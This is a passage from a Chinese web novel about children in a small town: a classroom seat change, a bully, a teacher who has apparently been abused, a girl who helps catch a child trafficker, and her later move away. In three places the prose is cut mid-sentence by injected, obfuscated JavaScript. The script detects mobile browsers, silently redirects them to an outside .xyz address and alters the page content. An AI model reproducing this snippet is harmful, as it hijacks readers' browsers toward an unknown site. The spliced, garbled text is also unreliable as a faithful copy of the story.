唐湘坐在客厅的沙发上,正抻着手看自己涂没涂匀,笑了笑,继续说道:“你们老师到底什么时候换座位呀,看给我儿子愁的。不过我觉得,其实李映桥挺可爱的,她每天帮她妈妈看店,还帮隔壁的春珍奶奶拉卷帘门,倒垃圾。一天天用不完的精力。” 俞人杰立马放下杠铃说:“这就叫可爱的话,那咱儿子可爱得可以叫地主了!至少是超级加倍——” “……” 俞人杰没再往下说,因为俩都在瞪他。 唐湘把护甲油往敞着的抽屉里一丢,接着说:“阿杨,现在是可爱,长大就不行了,你说什么也得往一米八窜窜,过几天妈妈带你去医院做个骨骼检查,实在不行该打激素还得打。不然每次去学校接你,妈妈都输在起跑线上。” “没事,等他高中肯定比现在高。”俞人杰倒是倍自信地说。与其说自信,不如说是躺平了,接受了。 “废话,他现在一米四都不到。高中一米四你觉得够吗?”唐湘翻了个白眼。 “那不成,那不成——‘大郎’了。” 唐湘紧跟着上下扫了眼俞人杰:“你在这个年纪是多高?” 俞人杰:“咱那时候谁管身高,能吃饱就不错了。要不是我弟是个饭篓子,怎么喂都喂不饱,我估计我还能再窜个5cm吧。” 唐湘:“……” 俞津杨不想听他俩讨论自己的身高,索性把头埋进书桌板里,闷声说:“你别来接我,就过条马路的事儿,我自己能走回来。” 唐湘突然想到之前菜场碰见的妙嘉妈妈,于是走过去摸摸儿子的脑袋问:“阿杨,你想不想学街舞?” 俞津杨学街舞是为了长高,李映桥学唱歌是为了造福人类,她自己这么觉得。小画城门口有家音像店,她一放学不再跟猴似的窜回家,而是蹲在音响店门口听歌,然后用妈妈给她的早餐钱,每天少吃一个包子,小半月时间她就可以买盒磁带。 那时候流行歌手太多,她挑不过来,周杰伦已经红遍大江南北,她决定就跟他学!因为他最红!她要在明年的元旦晚会上大展身手。 这天放学,小画城的夕阳依旧缀在山尖尖,余温笼罩着整个郊外。 小画城四年级二班的小朋友们终于到了激动人心的换座位时刻,李映桥刚要准备转过去和俞津杨做一个真情流露的告别,眼见对方已经把东西收拾得干干净净,迫不及待去迎接他的新同桌。 李映桥立马拉下脸来瞪着他,狠狠地,在老师说大家坐好,下面宣读新座位次序。 她跟上了发条似的,人是转回去,两只手也自动自发地乖乖叠放在胸前的桌板上,但眼睛还是狠狠乜斜着瞪俞津杨。 俞津杨不理她,全当作没看见。 李映桥拿胳膊肘用力捅他,眼睛还是锲而不舍地斜着瞪他,仿佛要将他瞪穿。 俞津杨这两天练街舞练得浑身上下酸疼,被她这么一捅,胸口更是一阵钝痛,他倒抽着嘶了声,最后忍无可忍地看着她说:“别吵了,行吗?” 李映桥听出来了,“你烦我?” 他没说话,抿着嘴转回头,看向讲台上的梁梅。教养让他无法说出太绝情的话,但此时无声胜有声,李映桥当然也不在乎,他讨不讨厌自己。 小屁孩。 在她的眼里,俞津杨个头比她小这么多,大象怎么会在乎蚂蚁冲它吐口水呢。 “俞喵喵,以后你要是还被五年级那个大个头欺负了,也别来找我。”李映桥哼唧一声说,“没良心的小猫咪。” “李映桥,”他转过头看她,“你有想过要上什么初中吗?以你现在的成绩,是考不上实验中学的。难道你想去仙城二中吗?” 丰潭的教育资源很落后,毕竟一个镶嵌在地图边沿的犄角旮旯的小镇,除了风景秀丽、空气清新之外,没什么可让人惦记的。大多数的学校建立都是为了义务教育,没有任何教育资源的倾斜,全县唯独就两所重点学校——实验中学(初中)和丰潭中学(高中),除此之外的二中、三中基本上就是让孩子们完成九年义务教育。 俞津杨显然是铆足了劲要上潭中的。但潭中是整个南来市唯一一所省重点,上潭中,不光要跟本地生打得头破血流,另外十三个县区的学生也全都削尖脑袋往潭中挤。而小画城目前还没有过考上潭中的学生,一个都没有。 李映桥从来没有想过要上潭中这件事,李姝莉女士从不拿成绩要求她,只要求她快乐健康的成长。 她轻飘飘地斜了俞津杨一眼,不屑道:“要你管啊,先管好你自己的小鸟吧,上课再想上厕所,没人帮你举手咯!” 俞喵喵脸皮这么薄,不跟她同桌以后看他怎么办。 俞津杨:“…………” 他发誓,再跟她说一个字,他舌头直接割掉。 李映桥因为个子高,和同在国旗班的高典分到一桌,仍旧在最后一排。俞津杨则和同样个子不高的郑妙嘉坐到一桌,挪到第一排。梁梅似乎并不想把小画城这几个孩子正式混入集体中,连座位都是对对碰。郑妙嘉是和李映桥截然相反的性子,她说话总是轻声细气的,有时候俞津杨都听不清她说什么,要特别集中注意力才能听清她说话。 “桥桥晚上要去闯疯子港,你知道吗?”郑妙嘉捂着嘴同他说。 疯子港是小画城最深处一条街,幽暗、僻静。青石板的路缝里渗着河腥气,阴冷潮湿的青苔爬满墙根,整条街从路口泛着一股令活人颤栗的鬼气森森。疯子港在小画城大人们嘴里的作用,就是挂在嘴边的一句威吓——“再不好好睡觉让疯子港的疯子把你抓走关起来!” “她要干什么?”俞津杨问。 “前两天,疯子港有个疯子跑出来,在春珍奶奶那抢糖糕,奶奶都被推倒在地上,尾椎骨断了,这几天在医院呢,都是李阿姨给奶奶送的饭。所以,桥桥打算晚上去要钱。”郑妙嘉满脸佩服地说,“她可真是我们小画城的保护神。” “先说好哦,你别看我长得这么高,我是个小朋友哦!在画城小学上四年级!我有学生证的!你要是敢攻击我,我妈妈绝对不会放过你的!”也不管有没有用,李映桥对着空荡荡的巷子大吼道,“哈!听见没有!” 巷子阒寂无声,落针可闻。 “说!你听见了!”她又吼哈一声,也不知道在吓唬谁,正当她一回头,看见那个讨人嫌的前同桌手里正提着两袋垃圾,往这边的垃圾桶走。 小画城那时还没有垃圾分类,所有人的垃圾都往疯子港这边的垃圾站丢,烂菜叶子、生锈电池、鼻涕纸巾全混做堆,任由其腐烂发臭,苍蝇不小心嗅到都要两脚发软,所以这边也很少有人过来,除了每天定时丢垃圾的人。 李映桥这会子看见俞津杨,那宛如刚立过来准备倒计时的沙漏,她也来不及拨回去了。为了不能在昔日小弟面前丢了这个脸,她冲着俞津杨冷哼一声,然后大摇大摆地走进疯子港。 两秒后。 “啊——啊——!” 一声尖叫划破整个小画城寂静的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15410486|168418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长空,紧跟着巷子里接二连三地传来此起彼伏的狗叫声。 “汪汪汪汪汪!” 然后俞津杨看见坦克同志又以火箭的速度“嗖”一声从巷子里飞奔而出,他那是第一次见识到坦克在绝境中爆发出来的速度,狗完全撵不上她。 嘴里却大喊着—— “俞喵喵!!救命啊!!” 她最最最最最怕狗了! 第一次要债失败,李映桥当然没有气馁,第二次她全副武装,带上各种手套护膝还有她妈骑电瓶车用的头盔,以及诱饵——俞喵喵。 “你先进去,我紧随其后。”李映桥大义凛然地说。 “凭什么我先进。”俞津杨把手抄进裤兜里,表示她不进,他也不进。 “紧随其后听不懂吗?你进去我马上就跟进来。” 俞津杨直截了当地说:“李映桥,我好心好意陪你来,你拿我当肉垫是吧?” 李映桥咦了声,也不知道从哪儿学来的腔调:“怎么这样讲,怪伤人心的。” 俞津杨刚要说话,李映桥也不装了,冷飕飕来一句:“你到底进不进?吃硬不吃软是吧?” 俞津杨:“……我跑得没你快,被狗咬了怎么办。” 李映桥:“打疫苗啊。” 俞津杨几乎是毫不犹豫,转身就走。 李映桥“啪”一脚堵在墙上,不让他走,俞津杨自然也是个硬骨头。偶尔从垃圾站飘来的腐烂腥臭味,让两人时不时忍不住捂一下鼻子,到后来两人索性捂着鼻子堵着路,谁也不肯退让。两人正僵持着,阒寂无声的巷子里,传来了声响——先是一阵拖鞋趿拉的声音,然后紧跟着就是一阵窸窸窣窣好像在翻塑料袋的声音。 两人悄悄探过脑袋去看—— 那蓬头垢面的疯子左手攥着半块不知道小画城哪个小朋友过生日剩下的发霉蛋糕,右手捏着一条死掉的金鱼,左一口蛋糕,右一口死鱼,囫囵吞进肚里,嘴角还残余着斑驳血迹,全身上下几乎没一块好皮,脚趾尖蜷在地上,时不时用大脚趾挠一下脚背。 察觉到俩小朋友的目光后,他猛一下抬头看过来,愣几秒后,突然冲他俩咧嘴一笑——黢黑的牙缝里沾着脏污的血迹,还卡着金鱼的鳞片。 “妈呀!” 吓得李映桥转头就跑。 俞津杨也震惊,但他震惊的是,李映桥跑走片刻后又腾腾腾折返回来,好像拿什么遗漏的东西一样,一把抄起他的膝后弯,愣生生把他给打横抱走了。 俞津杨:“………………” 他生平第一次在脑海里搜索起脏话。 爷爷个腿的。 到底什么时候才能长个儿! *** 晚上,李映桥回到杂货铺还有些惊魂未定,抱着李姝莉的腰怎么都不肯撒手,连她做饭都黏着。 李姝莉这几天又是给学校开冷链车,又是要去医院给春珍奶奶送饭的,忙得也晕头转向,没太把注意力放在女儿身上,心不在焉地哄两句,就打发她出去看店。 李映桥刚打开电视没两分钟,店里就来了个客人,西装革履,打扮很光鲜得体,是小画城里很少出现的装扮,除了俞家叔叔偶尔会这么穿之外,这里的中年男人都是背心短裤和拖鞋。男人跟李映桥要了一包烟,也是平时很少有人买的。 李映桥熟练地从货柜上找出烟给他,对方冲她温和一笑:“你妈妈呢?” 李映桥下巴朝仓库后面的小厨房一点:“在给我做饭呢。” 男人从钱包里很利索地找出钱给她,“你上几年级了?” “四……”李映桥狐疑地盯着他,“你问这么多干嘛?” 男人笑笑,“我还知道你叫李映桥,外号坦克是不是?” 李映桥看着对面男人周正的五官,心中升起一丝疑虑,她眼神直勾勾地盯着对面这个陌生的男人:“你是谁?” 男人突然“嘘”了声,“先别让你妈听到。” 7.第六章 ——李映桥真是个乌鸦嘴。 这天晚上,俞津杨刚下街舞课,就被人堵在距离小画城五十米的巷子里。唐湘和俞人杰在看电影,他就自己一个人慢慢地往家走,正巧碰上五年级那俩大个头兄弟从巷子对面的游戏厅里出来。那俩人一看见他,就跟猫见了老鼠似的疯扑上来,左右包抄着将他堵在墙根处。 “俞小喵,”史晓北块大肥厚,手臂如铁钳,勾过俞津杨的脖子牢牢箍在自己的腋下,俨然一副流氓作派,还用手背拍拍他的脸颊,“最近零花钱还有吗?哥哥们手头有点紧——” 俞津杨整个人被怼在渗着苔藓腥味的砖缝墙上,后脊背一阵透心凉。他本来就烦,一天天不是班干部会议就是中队会议,现在上完课还要为了长高去学街舞,忙得跟个陀螺似的,偶尔落单还要被人堵在这羞辱。他烦不胜烦,想到这,拳头已经在裤兜里不由自主地攥紧了—— 死就死吧! 拳头刚要拔出来,就听见巷子外传来洪亮又熟悉的声音:“史大胖!你又欺负我同桌是不是!” 还不等俞津杨反应过来,史晓北后脑勺已经被人狠狠击了一掌,他下意识松开俞津杨,脑袋嗡嗡地回过头,果然看见四年级那个和他个子差不多高的坦克,手上竟然还拿了根擀面杖。不讲武德,竟然带武器。 “你干什么!”史晓北捂着后脑勺同她讲道理,“我和俞小喵沟通一下感情,你打我干什么!” “当我傻啊!抢他钱吧你!”李映桥一擀面杖敲他脑门上,不算重,但也足给了他一记钝痛,“你下次再让我看见你跟他要钱,我保准用擀面杖敲得你脑门开花,让你妈合都合不上!” 史晓北作为画城小学块头最大的学生,对李映桥放出的狠话很是不服,捂着脑门,咬牙切齿地说:“李映桥!我看你是老虎不发威真当我是病猫啊!你信不信我真揍你啊!” 俞津杨卡在几人中间,发出没人理会的一声“喂”,刚要说我和她不太熟,史晓北你别为难她。巷子尽头处又猝不及防地横插进来一道熟悉的呵斥声:“你们几个!干什么呢!” 史晓北兄弟俩扭头一瞧,只见远处的巷子口路灯下将女人的身影拉成长长一条,影子仿佛一柄出鞘的剑,似乎直直朝着他俩劈过来:“干什么!欺负哪班的学生!” 李映桥耳尖,立马大声喊道:“梁老师!是你班的学生!史大胖兄弟俩管俞喵喵要钱!” “什么!混蛋崽子!敢抢劫!?来,来,来,枪毙,统统拉去枪毙!”老远听见梁梅把青石板踩得“咚咚咚”作响,像夏日里滚在云层里的闷雷炸响,不见其人,只闻其声。 巷子有段非常暗的路,不等梁梅走到跟前,史晓北趁这个间隙连忙说:“老师!不是!我们没有!我们只是跟他借点零花钱。” 李映桥一棍子又敲他脑门上:“之前‘借’的你还了吗!” “还的还的,明天就还!”史晓北说完,立马拽着弟弟夺路而逃,脚下踉跄,还不知道从哪儿横飞来一只高跟鞋,“哐当”一声,正好砸在他面前的电线杆上,他索性甩开弟弟的手,自己脚底抹油,一溜烟儿给跑没影了。 下一秒,梁梅已经一瘸一拐地来到李映桥和俞津杨面前,上下将他俩扫一遍,语气恢复平日里不疾不徐的平静:“行了,我送你俩回家。” 然而,此刻看着她的身影完全暴露在月光下,李映桥和俞津杨都愣住。 他们下意识地对视一眼,谁也没想到会看到这样的梁梅——那个对检查班级卫生格外苛刻、连窗台缝隙都要用手指摸一遍的梁老师,此刻正赤脚站在青石板路上。她一手拎着只断了根的高跟鞋,另只手正试图抚平她那乱蓬蓬的头发。这位教师很少有这种时刻,大多数时候头发梳得一丝不苟,整洁光亮。此刻的她好像刚从鸡窝里爬出来一样,衬衫的领口也歪歪斜斜,裙摆湿漉漉正在往下沥水,她站立的地方,不消片刻便洇开一滩水渍。 俩小孩目不转睛地盯着她。 梁梅意识到自己有失风度,没说多余的:“你俩到底有事没?没事儿我送你俩回去。明天我找史大胖班主任去。” 回家的路上,俩小孩一步三回头,看身后骑着电瓶车跟在后面护送的梁梅,给梁梅也盯烦了,“看什么看!老师骑电瓶车摔沟里了,是要给你们俩再演示一遍吗?” 俩小孩被吼得只好缩着脑袋往前走,直到经过一家药店—— 李映桥看了眼,俞津杨也跟着扫了一眼,他仿佛知道她要说什么,“我去买。” 说完,直接跑进药房,身后又传来梁梅忍无可忍地怒吼声:“死小孩!你又去哪儿!” 等俩小孩正给电瓶车上哑口无言的梁梅上完药,唐湘和俞人杰正从电影院方向走回小画城,在门口撞了个正着。梁梅把事情经过说了一遍后,唐湘把儿子和李映桥拨到一边,“上去我给你处理一下,你这边伤口要消毒,还有,梁老师,你这么湿着骑回家,很容易感冒,我给你一身干净衣服。” 梁梅知道唐湘多半猜到了,扯了下嘴角,也没再掩饰,“好,麻烦你们了。” 她没觉得有什么羞耻的,错的不是她,而且她也打算好了,明天一早就去校长办公室甩辞职信,这破工作谁爱干谁干。 俞津杨感觉自己的衣角被人拽了拽,李映桥冲他眨眨眼。他茫然,没读懂她眼神里的意思,但从小洞若观火又早熟的李映桥却读懂了这些大人眼神中的低气压以及梁梅老师的欲言又止。 ——梁老师绝对不是摔沟里了。 李映桥跟着他们走到川明街路口,她拍了拍俞津杨的肩老气横秋地嘱咐说:“喵喵,梁老师交给你们了,我先回家了,我妈妈在等我。” 俞津杨看了她老半天,本来想说一句谢谢她路见不平,但这俩字好像无意间吃进嘴里的毛絮,明知它就在嘴边,却怎么也吐不出来,愣半会儿才又问了句:“李映桥,你想好在哪上初中了?” 李映桥翻了个巨大的白眼:“俞喵喵,你烦不烦啊!你再问这个,我当你喜欢我!” 俞津杨顿时莫名其妙:“啊?” 还不等他再说点什么,俞人杰从后面走过来一把捞过他的小脑袋给薅走了,生怕他俩聊出点什么来。 唐湘带着梁梅先上楼换衣服,父子俩在川明街昏黄的路灯下以蜗牛的速度慢悠悠往家走。俞人杰捋着他的脑袋和他讲说:“梁老师可能要在家里待一会儿,咱们两个散会儿步再回去。” 俞津杨似懂非懂地点点头,还沉浸在刚才李映桥问的话里,仰头问道:“老爸,什么是喜欢?李映桥为什么说我喜欢她?” 俞人杰停下脚步,第一次正儿八经和他强调说:“首先,喜欢是一件很严肃的事情。这种话不可以轻易说出口,李映桥这小破孩显然是口无遮拦,什么话都会讲出来的,她对大人也是这么没大没小的。你不可以跟她学。” 俞津杨点头。 “其次,你们这个年纪根本谈不上喜不喜欢,顶多就是有点青梅竹马的小情谊,等你上了初中或者高中,你自己就会明白,这种情谊根本算不了什么,而且以她的成绩你俩上不了一个初中,几年不见,你们就和陌生人没什么区别。就算你高中有了喜欢的女孩子,那种感情也是很懵懂的,在一切没有尘埃落定之前,谈这些都为时尚早。所以我和你妈妈是坚决抵制早恋,李映桥例外,我就是一脚踏进棺材板里她也在我的黑名单里。” 俞津杨又听话地点头如捣蒜,用力地表忠心道:“爸爸,放心,我绝对不会喜欢她!你死了,我也不会喜欢她。” “……” 俞人杰捋捋他的脑袋,“行吧,乖儿子。回家,爸爸给你煮碗面吃,对了,今天练了什么舞。” 俞津杨往前蹦了两步,“popping——这样,这样。” 说完,快速地给老爸展示一百块钱课堂效果,生怕他爸觉得亏,跳得格外卖力——腕骨一抬,仿佛从指尖窜起一股电流,滑过肘关节,无声无息地一路滑到他的肩胛骨。下一秒,“咔”地一抖,瞬间定格住,紧跟着全身的关节一节节游刃有余地震颤起来。 俞人杰突然觉得这个十来岁的儿子开始有棱有角了,逗他说:“帅!这小模样还挺有型。儿子,还想学点什么?钢琴怎么样?” 俞津杨头瞬间摇掉。 俞人杰哈哈大笑,搂着他往家走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427088|168418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“回家咯!妈妈肯定等着急了!对了妈妈今天刚烫了头发,你等会进门记得夸两句,刚刚忙着处理你们的事儿,你都没注意妈妈换发型了吧!她刚刚骂了一路,说好难看,她今晚睡不着了,要吃安眠药了!你赶紧哄两句。” “好!” 李映桥翻来覆去也睡不着,最近发生很多事——疯子港那个血迹斑驳的疯子;梁老师显然也不是摔沟里了;还有白天那个来买烟的男人,无论她怎么盘问对方一句话不说,脸上挂着一抹无懈可击的微笑,对她讲:“这样,明天放学,我在学校后门旁边的奶茶店等你,我请你吃点东西,我们聊聊好吗?” 她刚才是提前去奶茶店踩点,这样万一明天遇到什么紧急情况,可以提前找好逃跑的路径,她实在太好奇了。结果,正巧碰上俞喵喵被史大胖堵在巷子里。但为什么梁老师今天也这么晚下班呢?她从来都是到点就走的。 第二天傍晚,放学铃声一打响,李映桥出现在后门的奶茶店里,夕阳的余晖透过玻璃窗斜斜地落在地面上,她漫不经心地咬着吸管,目光在人流中来回巡逻着,始终没见到昨天那个买烟的男人。直到奶茶店人都走光,学生们都被家长接走后,热闹的奶茶店恢复冷清,而此时旁边的十字路口,缓缓停下一辆黑色面包车,车的侧门自动滑开,昨天那个五官周正的男人从车上一脚跨下来,仍旧是西装笔挺,皮鞋擦得锃亮,眼神温和地冲她微微一笑,抬手示意她走过去。 男人没有想到,那女孩不仅没有走出来,不知道跟店员说了一句什么,下一秒,店员还把店门给锁了。 店员认得李映桥,两人躲在柜台后面,一边报警一边说:“你确定这人是个坏人?” 李映桥点点头,“你看他的车牌,一辆这么破旧的车,车牌却新得反光,我舅舅说这种车一般要么是偷的,要么是天天换假牌照。而且,你看他的车玻璃贴得严丝合缝根本看不见里面,我舅舅说这种面包车的后座一般都被拆掉了,用来捆人用的。还有他的车轮,怎么会有这么多泥呢。是不是很可疑?” 是哦,按理说这几天都没下雨,车轮不可能沾上这么多泥,除非他住在山里。但这种打扮的人,不太可能住山里,小画城这边本就是郊区,再往山里只有留守老人。店员尽管半信半疑,还是决定先报警再说,万一是个良民,大不了今天白干了,赔他两杯奶茶。 五分钟后,附近派出所就派了俩民警过来,立马调出当时路口里的唯一一个监控,那年的监控非常稀少,郊外的监控少之又少,在这种城乡结合部出现的陌生车辆确实很可疑。而且,非常巧妙的,那台车避开了监控的位置,这反而加大了对方的可疑性,正常车辆的停摆不会特意避开监控位置。 直到一周后,那台车终于被夜以继日追铺着蛛丝马迹的警察叔叔们给抓住了,以及当天下午就因为听从对方的诱惑,想去深圳找爸爸妈妈而被捆上车的高典小朋友。 “哎哟,桥桥这回不得了,”唐湘吃晚饭时,也不由自主地同俩人聊起最近小画城这件大新闻,“李姝莉那间杂货铺的门槛都被人踏破了,天天都是围着要采访的记者,丰潭日报的头版头条都是桥桥的新闻,虽然用的是化名,但是小画城的人都知道那个小芳是桥桥。这次是真成小画城的小英雄了。” 当天晚上,整整饿了一周的高典,被他爷爷奶奶架着胳膊拎上门来,俩老还拿着一整筐自己晒的番薯干,俩老人本身瘦得就剩一副皮包骨,颤颤巍巍地在李姝莉面前噗通一声齐齐地跪了下去。 “姝莉!你养了个好女儿!谢谢你!这次真的谢谢桥桥,不然我真的不知道怎么跟孩子爸妈交代!” “如果以后不嫌弃,让高典给桥桥做牛做马!一定偿还这份恩情!” 李姝莉窝着一股无名火,她本来想关起门来狠狠揍一顿这个不省心的,擀面杖都拿出来了,攥在手里松了又紧,看着两位老人佝偻的背脊,干瘪得像两株空心秸秆,怎么扶都扶不直。她心里也忍不住发酸,更不好当着面打他们的小恩人。 高典大概被饿懵了,两眼无神地蹲在地上。 李映桥走过去:“快搀你爷爷奶奶回去,我妈要揍我了。” 8.第七章 李映桥的威名一直持续到他们从画城小学毕业。从那年后,小画城的孩子们就很少叫她坦克了,全都不约而同地改口叫她偶像,还给她编了串当场能抠出一座迪士尼城堡的顺口溜—— 我的偶像叫小芳, 穿过巷,凿过光。 一双眼睛圆又亮。 坏人见了她心慌慌。 我的偶像叫小芳, 会打狼,能穿墙。 两根辫子长又长, 人贩子全给抓光光。 …… 李映桥开始觉得很威风,后来觉得很丢脸,一听有人起头立马夹着尾巴跑,要是面前有堵墙,她真能跑穿墙。 李姝莉每每听见他们这么唱,回回都要破口大骂。那天警察上门,说在她女儿的协助下,成功抓获了一伙儿最近在丰潭流窜作案的人贩子,听得她心惊肉跳,膝盖都软了。 警方同她说明原委后,几番夸赞桥桥的聪明机智,李姝莉是见过那些穷凶极恶的罪犯,她想都不敢想,这样一番惊天动地的事情会发生在她女儿身上。她哪还有理智可言,一把拽住对方劈头盖脸问了三个问题:“人贩子抓完了吗?会不会报复我女儿?对方知道我女儿多少信息?” 警察当然非常理解她作为母亲的心情,忙安慰几句,但也只能苦笑着说:“抓肯定是抓不完的。但是流窜丰潭作案的这几个,目前已经全部落网。我们也会尽力保护桥桥的信息和安全。” 然而,还是有两个记者凭着模糊的信息找到了她们的住址,从此以后,登门采访的人络绎不绝,简直要把桥桥架到普通人这辈子都难以企及的高度。 李姝莉非常清楚桥桥只是有点小聪明,也从未想过要将女儿打造成人人赞颂的英雄,自从警察上门那日,李姝莉每天都要多买一份报纸,查看最近丰潭有没有流窜作案的人贩子,电视机雷打不动永远在播放丰潭当地新闻。 她晚上再也没睡过一个好觉,时常睁着眼睛到天亮,只要听到卷帘门有一丝的异响,她就立刻起床查看女儿是否还在床上。 李映桥偶尔还是会躲在被窝里吃薯片,在阒寂的屋内发出“嘎吱嘎吱”的声响,只不过从前她小心翼翼生怕母亲察觉,后来她大口大口地嚼,生怕母亲没察觉。 李姝莉大约是很久很久之后,那时候李映桥已经去北京上大学了,她收拾店铺准备重新开张,跪在地上的膝盖隐隐作痛,正拿着一堆当年的丰潭日报准备起身时,突然从这些泛着黄的陈旧折页里,掉出几张黄色香油纸,有些还沾着油腥。 她当桥桥小时候调皮捣蛋,别人都拿白纸叠体育课用来测肺活量的千纸鹤,她要用包烧饼的油纸叠,因为有油香,这样吹的时候,还能解解馋。只是李姝莉没想到,她竟然还当宝贝似的留着这么多油纸。正当她准备扔掉时,无意间瞥见这些油纸的背面都写着两行稚嫩的字迹—— 风停符。 卷帘门不动符。 李映桥在很小的时候有一阵总做噩梦,李姝莉就给她请了张黄符纸贴在枕头底下,梦魇还真就被驱赶了。李映桥大概也是依葫芦画瓢,还像模像样地在上面画上和当初那道符纸一样的鬼画符。 画了很多,都失败了。 肯定有一张成功,她不可能画一堆废纸,她向来好胜。李姝莉果然在卷帘门后面的石头底下找到那张唯一画成功的黄油纸。 李姝莉很少哭,骨头硬得很。那是她第一次没忍住眼泪,膝盖一软再也没能从地上起来,索性伏在地上痛哭。 她那会儿竟也一时想不起,这块石头是什么时候摆在这,只记得她们当时很快就搬离了小画城。 当时好不容易捱到李映桥小学毕业,毫无意外,李映桥没考上实验中学,大抵是要去仙城二中。也怪不得李姝莉风声鹤唳,小升初考试一结束,那些记者就跟闻着血腥味的猛兽一样虎视眈眈,蹲在小画城门口想打听桥桥的成绩。 而她也非常清楚,桥桥的成绩会成为她这个英雄光环的阴影,成为被人诟病的把柄。于是李姝莉二话不说关掉杂货铺,带着她搬离小画城。 李映桥的英雄时代篇章就这么落下帷幕。 在仙城二中,这里没人知道那个曾经轰动全城、登上丰潭日报头版头条,协助警察抓住一窝人贩子的英雄小芳,就是李映桥。 同学们不再对她有滤镜,她就是一个普普通通的学生,她凡事也不再强出头,逞英雄,只要不犯到她跟前,她一概不管。 仙城二中的校园霸凌很严重,时常有学生被拖到厕所里欺负,打巴掌、撕衣服手段恶劣嚣张。老师们束手无策,训也训,骂也骂,天天耳提面命,却也不能全然杜绝这种风气。 李映桥每天除了看小说就是追番,看漫画,对学习也是三心二意,对她来说,就像小画城大人口中说的那样,进入仙城二中,她的未来早就注定了,是上职高还是进厂拧螺丝,只不过是时间早晚的问题。 她没再回小画城,再也没见过俞津杨他们。 她只知道,俞津杨小升初考试全县第三,被实验中学录取,俞人杰在城区的大饭店请了小画城所有人吃饭。她和妈妈考完就搬走了,没吃上这顿大餐。 高典自从差点被拐卖后,成绩一落千丈,跟着父母去了外地读书,郑妙嘉也考上了实验中学,刚好卡着分数线进的。 李姝莉女士为了更方便她上学,硬是搬到仙城二中附近的农贸市场里,几乎横跨整个丰潭。她的生活极其单调,每天就是学校到家的距离两点一线跑,离不开农贸市场的百米范围,她感觉自己活像只被栓在磨盘上的驴,每天就是围着农贸市场转啊转。 别说和俞津杨他们碰面,就连想见见二中的同学都得多走两个路口。 直到有次见到梁梅老师。李姝莉从来没在学习上要求过她,只希望她健健康康、快快乐乐地长大,对她说过最多的一句话就是,你就是一辈子不工作,妈妈也会养你的。 她完全不用做什么,就能得到李姝莉全部的爱和关注,她自然也不会想到往学习上使劲。 反而是梁梅老师,不知道通过什么方式找到了她们。妈妈怕她的信息暴露,怕她被人贩子报复,没有告诉身边任何人她们搬家后的住址,甚至还一度想过要为她改名。 这是李映桥从小到大,唯一一次觉得非常不理解李姝莉的草木皆兵,大声吼了她:“我凭什么要为你的提心吊胆买单啊!” 吼完她又后悔,恨不得挠死自己,虽然她仍旧不理解她为什么这样。但之后,李姝莉再也没有提过改名的事情。 梁梅老师找上门的那天,李映桥正蜷在沙发上追一个热血番,主角正赤手空拳地大吼着她要改变这个操蛋的世界!看得正起劲儿,门铃响了,李姝莉以为是过来修水管的工人,在厨房头也不转地让她去开门,结果看见梁梅站在门口。 李映桥直到看见梁梅那刻才知道自己有多想念曾经在小画城无忧无虑的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432478|168418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日子,哪怕是疯子港那些充满死鱼烂虾的腐臭味,她都想回去闻一闻。这种感觉就好像忍受长久的梅雨季节后,终于迎来了太阳的暴晒,她见到梁梅的时候,可惊喜:“梁老师!” 那晚,她不知道梁梅老师和妈妈说了什么,妈妈竟然同意让梁梅老师带她出去玩一会儿。梁梅老师领她走时,在桌上放下一个信封,李映桥注意到了,直到两人出了门,她才问:“梁老师,你在我们桌上放的什么呀?” 那时她们有近两年没见,李映桥马上就要上初三,身型开始抽条,只是脸上还是稚气未退的婴儿肥,虽然眉目清秀,扎着大光明顶干净利落,但额角仍旧有卷卷的胎毛,她随李姝莉,是自然卷,瞧着反而比从前更灵气。 反观梁梅,她的变化才叫人触目惊心,短短两年时间,她几乎瘦脱了相,原本棱角分明的下颚,如今几乎可以用锋利来形容。反而是从前锋利的眼神,如今柔和很多。 梁梅非常庆幸自己今天做了这个决定,她见到李映桥了。 她没有回答她的问题,站在混杂着各种生禽腥臊味冲天的农贸市场门口,目光转了一圈,最终落在一个卖活鸡活鸭的摊主身上,率先反问了她一个问题:“李映桥,你有没有想过你未来要做什么?跟你妈一样开店,还是就这么在农贸市场待一辈子?或者我换一个问题,你有没有想过,你未来要成为一个什么样的人?” “你回答我,我就回答你刚刚的问题。”梁梅又说。 李映桥确实都没想过,但脑子里却突然蹦出刚刚热血番里的那句话,她觉得既然是老师这么问了,一定是想听她激情四射的回答:“我要改变世界!” “怎么改?在农贸市场改?这太笼统,给个具体点的。比如给鸡鸭鹅剃毛的时候凹个体面点的造型,也是个改变世界的方式。” 李映桥:“……” 